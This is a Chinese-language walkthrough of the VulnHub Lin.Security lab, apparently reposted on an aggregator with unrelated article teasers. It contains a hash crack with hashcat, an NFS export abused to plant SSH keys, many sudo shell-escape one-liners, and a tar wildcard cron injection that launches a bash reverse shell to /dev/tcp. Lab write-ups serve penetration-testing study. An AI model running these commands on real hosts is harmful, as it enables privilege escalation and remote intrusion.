[vulnhub]Lin.Security主机Linux提权

Hash Crack(Hash cat)

bob@linsecurity:~$ cat /etc/passwd

image-2.png

$ echo "AzER3pBZh6WZE">hash

检查哈希类型:

$ hash-identifier AzER3pBZh6WZE

image-3.png

$ hashcat -m 1500 -a 0 hash /usr/share/wordlists/rockyou.txt --force

image-4.png

username:insecurity
password:AzER3pBZh6WZE:P@ssw0rd

image-5.png

NFS

$ showmount -e 192.168.8.104

Export list for 192.168.8.104:
/home/peter *

挂载到peter

获取关于peter的信息

image-6.png

peter的UDI是1001

$ sudo mkdir /mnt/lin_peter
$ sudo adduser -u 1001 peter

创建用户peter.

image-7.png

$ sudo mount 192.168.8.104:/home/peter /mnt/lin_peter -o vers=3

$ sudo ls /mnt/lin_peter -la

$ su peter

(peter)$ ssh-keygen -t ssh-rsa
(peter)$ mkdir /mnt/lin_peter/.ssh/
(peter)$ cp ~/.ssh/id_rsa.pub /mnt/lin_peter/.ssh/authorized_keys

image-8.png

(peter)$ ssh -o 'PubkeyAcceptedKeyTypes +ssh-rsa' -i ~/.ssh/id_rsa peter@192.168.8.104

image-9.png

Root

修改NFS的共享文件夹

peter@linsecurity:~$ cat /etc/exports

image-10.png

image-11.png

发现关于strace权限提升

image-12.png.

$ sudo strace -o /dev/null /bin/sh

image-13.png

Sudo

bob@linsecurity:~$ sudo -l

image-15.png

Matching Defaults entries for bob on linsecurity:env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/binUser bob may run the following commands on linsecurity:(ALL) /bin/ash, /usr/bin/awk, /bin/bash, /bin/sh, /bin/csh, /usr/bin/curl, /bin/dash, /bin/ed, /usr/bin/env, /usr/bin/expect, /usr/bin/find, /usr/bin/ftp, /usr/bin/less,/usr/bin/man, /bin/more, /usr/bin/scp, /usr/bin/socat, /usr/bin/ssh, /usr/bin/vi, /usr/bin/zsh, /usr/bin/pico, /usr/bin/rvim, /usr/bin/perl, /usr/bin/tclsh,/usr/bin/git, /usr/bin/script, /usr/bin/scp

ash

ash(Almquist Shell)是一个轻量级、高效的 Unix/Linux 命令行解释器,常用于嵌入式系统和资源受限的环境中。

$ sudo ash

awk

awk 是一个用于在 Unix/Linux 系统中进行模式匹配和文本处理的强大工具和编程语言。

sudo awk 'BEGIN {system("/bin/sh")}'

bash

bash 是一个广泛使用的 Unix/Linux 命令行解释器和脚本语言,提供强大的交互和自动化功能。

sudo /bin/bash

csh

csh 是一种基于 C 语言语法的 Unix 命令行解释器,提供丰富的编程功能和用户交互特性。

sudo csh

dash

dash 是一个轻量级且符合 POSIX 标准的 Unix/Linux 命令行解释器,专为快速执行脚本而设计。

sudo dash

ed

ed是一个基于命令行的行编辑器,用于在Unix和类Unix系统中进行基本的文本编辑操作。

sudo ed
!/bin/sh

env

env是一个用于显示或设置环境变量的命令行工具,在Unix和类Unix系统中被广泛使用。

sudo env /bin/sh

expect

expect是一种用于编写和执行交互式脚本的自动化工具,常用于模拟人类用户与命令行程序或脚本的交互过程。

sudo expect -c 'spawn /bin/sh;interact'

find

find是一个用于在文件系统中搜索文件和目录的命令行工具,支持多种搜索条件和操作。

sudo find . -exec /bin/sh \; -quit

ftp

ftp是一种用于在计算机之间传输文件的标准网络协议和命令行工具,支持文件传输、目录操作、权限设置等功能。

sudo ftp
!/bin/sh

less

less是一个命令行文本查看器,用于分页显示文本文件内容,并支持搜索、导航等功能,适用于查看大型文本文件。

sudo less /etc/profile
!/bin/sh

git

git是一个分布式版本控制系统,用于跟踪文件的更改并协调多人协作开发项目,提供了版本控制、分支管理、远程仓库等功能。

A

这会调用默认的分页器,通常是less,其他功能可能也适用。

sudo git -p help config
!/bin/sh

B

帮助系统也可以从任何 git 命令中访问,例如 git branch。这会调用默认的分页器,通常是 less,其他功能可能也适用。

sudo git branch --help config
!/bin/sh

C

Git钩子仅仅是shell脚本,在下面的示例中,使用了与预提交动作相关联的钩子。任何其他的钩子也可以工作,只需确保能够执行适当的操作来触发它。现有的存储库也可以使用,并且进入该目录也可以,即,可以不使用 -C 选项。

TF=$(mktemp -d)
ln -s /bin/sh "$TF/git-x"
sudo git "--exec-path=$TF" x

man

man是一个命令行工具,用于查看Unix和类Unix系统中命令、函数和配置文件等的详细手册页,提供了丰富的帮助信息和文档阅读功能。

sudo man man
!/bin/sh

more

more是一个命令行工具,用于逐页显示文本文件内容,支持基本的浏览和搜索操作,适用于查看较小的文本文件。

TERM= sudo more /etc/profile
!/bin/sh

scp

scp是基于SSH协议的文件传输工具,用于在Unix和类Unix系统之间安全地传输文件,支持加密传输、远程复制、文件权限保持等功能。

TF=$(mktemp)
echo 'sh 0<&2 1>&2' > $TF
chmod +x "$TF"
sudo scp -S $TF x y:

socat

socat是一个用于在Unix系统中建立双向数据流连接的网络工具,支持各种类
型的连接、数据传输、代理功能等。

sudo socat stdin exec:/bin/sh

ssh

ssh是一种安全的远程登录和数据传输协议,提供了加密通信、身份验证、端口转发等功能,用于在计算机之间建立安全的连接和传输数据。

sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x

vi

vi是一款在Unix和类Unix系统中常用的文本编辑器,具有模式切换、编辑操作、命令执行等功能,适用于在终端环境下进行文本编辑。

sudo vi -c ':!/bin/sh' /dev/null

zsh

zsh是一种功能强大的命令行解释器,具有丰富的特性和高度的可定制性,提供了智能补全、历史命令管理、多种主题样式等功能,适用于提高命令行操作效率和舒适度。

sudo zsh

pico

pico是一个简单易用的文本编辑器,提供了基本的编辑功能,适用于在终端环境下进行简单的文本编辑任务。

sudo pico
^R^X
reset; sh 1>&0 2>&0

rvim

rvim可能是Vim编辑器的简化版本,提供了简化的功能和基本的编辑功能,适用于初学者或需要快速编辑文件的场景。

A

This requires that rvim is compiled with Python support. Prepend :py3 for Python 3.

sudo rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

B

This requires that rvim is compiled with Lua support.

sudo rvim -c ':lua os.execute("reset; exec sh")'

perl

Perl是一种通用的脚本编程语言,具有强大的文本处理能力和广泛的应用领域,适用于各种编程任务和场景。

sudo perl -e 'exec "/bin/sh";'

tclsh

tclsh是Tcl的解释器,提供了一个交互式的环境,用于执行Tcl语句和脚本。

sudo tclsh
exec /bin/sh <@stdin >@stdout 2>@stderr

script

script命令用于记录和保存当前终端会话的所有输入和输出内容到一个文件中。

sudo script -q /dev/null

crontab

查看机器定时任务

image-18.png

image-19.png

在目录/home/bob创建文件,进行命令参数注入

image-20.png

$ echo "" > --checkpoint=1
$ echo '/bin/bash -i >& /dev/tcp/192.168.8.103/10032 0>&1'>reverse.sh
$ chmod +x reverse.sh
echo "" > "--checkpoint-action=exec=sh reverse.sh"

等待几分钟即可获得反向shell

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/25428.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

深度学习简单概述

概述 理论上来说&#xff0c;参数越多的模型复杂度越高、容量越大&#xff0c;这意味着它能完成更复杂的学习任务。但复杂模型的训练效率低&#xff0c;易陷入过拟合。随着云计算、大数据时代的到来&#xff0c;计算能力的大幅提高可以缓解训练的低效性&#xff0c;训练数据的…

Unity2D游戏制作入门 | 09(之人物动画制作)

上期链接&#xff1a;Unity2D游戏制作入门 | 08-CSDN博客 人物走路动画逻辑补充&#xff08;该帖没有的内容&#xff0c;我给补充了请先看完这帖&#xff0c;再去看补充&#xff09;&#xff1a;人物按下shifit走路动画设定09&#xff08;第九期先行补充&#xff09; 上期我们…

【30天精通Prometheus:一站式监控实战指南】第18天:apache_exporter从入门到实战:安装、配置详解与生产环境搭建指南,超详细

亲爱的读者们&#x1f44b;   欢迎加入【30天精通Prometheus】专栏&#xff01;&#x1f4da; 在这里&#xff0c;我们将探索Prometheus的强大功能&#xff0c;并将其应用于实际监控中。这个专栏都将为你提供宝贵的实战经验。&#x1f680;   Prometheus是云原生和DevOps的…

57.Semaphore信号量

用来限制能同时访问共享资源的线程上限。只是适合限制单机线程数量。 Slf4j public class SemaphoreDemo {public static void main(String[] args) {Semaphore semaphore new Semaphore(3);for (int i 0; i < 10; i) {new Thread(() -> {try {semaphore.acquire();//…

【Mac】Alfred 5 for Mac(苹果效率提升工具)v5.5软件介绍及安装教程

软件介绍 Alfred 是适用于 Mac 操作系统的流行生产力应用程序。它旨在帮助用户在 Mac 电脑上更高效地启动应用程序、搜索文件和文件夹以及执行各种任务。借助 Alfred&#xff0c;用户可以创建自定义键盘快捷方式、设置自定义工作流程并使用热键访问功能。 Alfred for Mac 的一…

中国飞行器设计创新大赛多旋翼无人机任务飞行

源码&#xff1a;后续补充 1、启动launch文件 roslaunch robot_bringup mission.launch <launch> <!--启动mavros节点 --><include file"$(find mavros)/launch/px4.launch" /><!--启动USB摄像头节点 --><include file"$(find…

电影制作中的版本控制:Perforce Helix Core帮助某电影短片避免灾难性文件损坏,简化艺术资产管理

Zubaida Nila是来自马来西亚的一名视觉特效师和虚拟制作研究员&#xff0c;她参加了Epic Games的一个为期六周的虚拟培训和指导项目——女性创作者计划。该计划提供了虚幻引擎工作流程的实践经验以及其他课程。Zubaida希望从中获得更多关于虚幻引擎的灯光、后期处理和特效技能方…

DS:堆的结构与实现

欢迎来到Harper.Lee的学习世界&#xff01;博主主页传送门&#xff1a;Harper.Lee的博客主页想要一起进步的uu可以来后台找我哦&#xff01; 一、堆的概念与结构 1.1 堆的概念 堆&#xff08;Heap&#xff09;是完全二叉树中的一种&#xff0c;分为大根堆和小根堆。 特点&#…

解决PyQt5中柱状图上显示的数值为带e的科学计数法

PyQt5生成柱状图的代码参考&#xff1a;PyQt5 QtChart-柱状图 参照上述文章&#xff0c;生成柱状图后&#xff0c;数值较大或较小情况下会导致柱状图上显示数值为带e的科学计数法&#xff0c;这样会影响数值的识别&#xff1a; 经过分析QBarSet方法得到解决方法&#xff1a;需…

JS原生API

一、DOM requestFullscreen&#xff1a;进入全屏 exitFullscreen&#xff1a;退出全屏 function changequanping(){if(!document.fullscreenElement){// 进入全屏document.documentElement.requestFullscreen();}else{// 退出全屏document.exitFullscreen();} }

HCIA--NAT地址转换(复习)

先交换后路由&#xff1a; 1&#xff1a;在交换机上创建vlan&#xff0c;进入接口划分vlan&#xff0c;接着在交换机连接路由器的接口上建立trunk干道 2&#xff1a;在路由器上&#xff0c;先配置物理接口IP&#xff0c;接着在路由器上创建两个子接口&#xff0c;将建立的vla…

力扣2563.统计公平数对的数目

力扣2563.统计公平数对的数目 排序 二分 定一个数 找另一个数的范围 当确定 j 时 i的取值范围为[ lower – nums[j] ] ~~ [ upper – nums[j] ]用二分找出合法的位置upper_bound是找>k的位置lower_bound是找>k的位置 class Solution {public:long long countFairPai…

使用React和GraphQL进行CRUD:完整教程与示例

在本教程中&#xff0c;我们将向您展示如何使用GraphQL和React实现简单的端到端CRUD操作。我们将介绍使用React Hooks读取和修改数据的简单示例。我们还将演示如何使用Apollo Client实现身份验证、错误处理、缓存和乐观UI。 什么是React&#xff1f; React是一个用于构建用户…

【C语言】轻松拿捏-联合体

谢谢观看&#xff01;希望以下内容帮助到了你&#xff0c;对你起到作用的话&#xff0c;可以一键三连加关注&#xff01;你们的支持是我更新地动力。 因作者水平有限&#xff0c;有错误还请指出&#xff0c;多多包涵&#xff0c;谢谢&#xff01; 联合体 一、联合体类型的声明二…

DDMA信号处理以及数据处理的流程---随机目标生成

Hello&#xff0c;大家好&#xff0c;我是Xiaojie&#xff0c;好久不见&#xff0c;欢迎大家能够和Xiaojie一起学习毫米波雷达知识&#xff0c;Xiaojie准备连载一个系列的文章—DDMA信号处理以及数据处理的流程&#xff0c;本系列文章将从目标生成、信号仿真、测距、测速、cfar…

Redis 的一些关键知识点及示例

Redis 是一个开源的内存数据结构存储系统&#xff0c;广泛用于缓存、消息队列、实时分析等场景。以下是 Redis 的一些关键知识点及示例&#xff1a; 1. 基本数据类型 Redis 支持多种数据类型&#xff0c;每种数据类型都有其特定的操作命令。 1.1 字符串 (String) 字符串是 …

ToonCrafter - AI 生成动画越来越简单了,两张照片生成动画视频 本地一键整合包

动画制作对很多人来说应该都是一项非常专业且复杂的工作&#xff0c;需要学习专门的知识&#xff0c;掌握特定的工具&#xff0c;并且投入大量的时间精力才能得到成果&#xff0c;不过最近出现的一款 AI 动画制作工具 ToonCrafter 则有希望改变这一现状。它只需 2 张图像就生成…

如何使用Python中的collections模块提供的数据结构,如deque、Counter、OrderedDict等

Python 的 collections 模块提供了一些额外的数据结构&#xff0c;这些数据结构在内置的数据类型&#xff08;如列表、字典、集合等&#xff09;的基础上&#xff0c;增加了额外的功能或优化了性能。下面是如何使用 collections 模块中的 deque、Counter 和 OrderedDict 这三种…

[个人感悟] Java基础问题应该考察哪些问题?

前言 “一切代码无非是数据结构和算法流程的结合体.” 忘了最初是在何处看见这句话了, 这句话, 对于Java基础的考察也是一样. 正如这句话所说, 我们对于基础的考察主要考察, 数据结构, 集合类型结构, 异常类型, 已经代码的调用和语法关键字. 其中数据结构和集合类型结构是重点…

fl studio怎么设置中文及 2024年最新fl studio选购指南

FL Studio让你的计算机就像是全功能的录音室&#xff0c;漂亮的大混音盘&#xff0c;先进的创作工具&#xff0c;让你的音乐突破想象力的限制。zol提供FL Studio中文版下载。 FL Studio中文版下载软件简介 FL Studio 让你的计算机就像是全功能的录音室&#xff0c;漂亮的大混…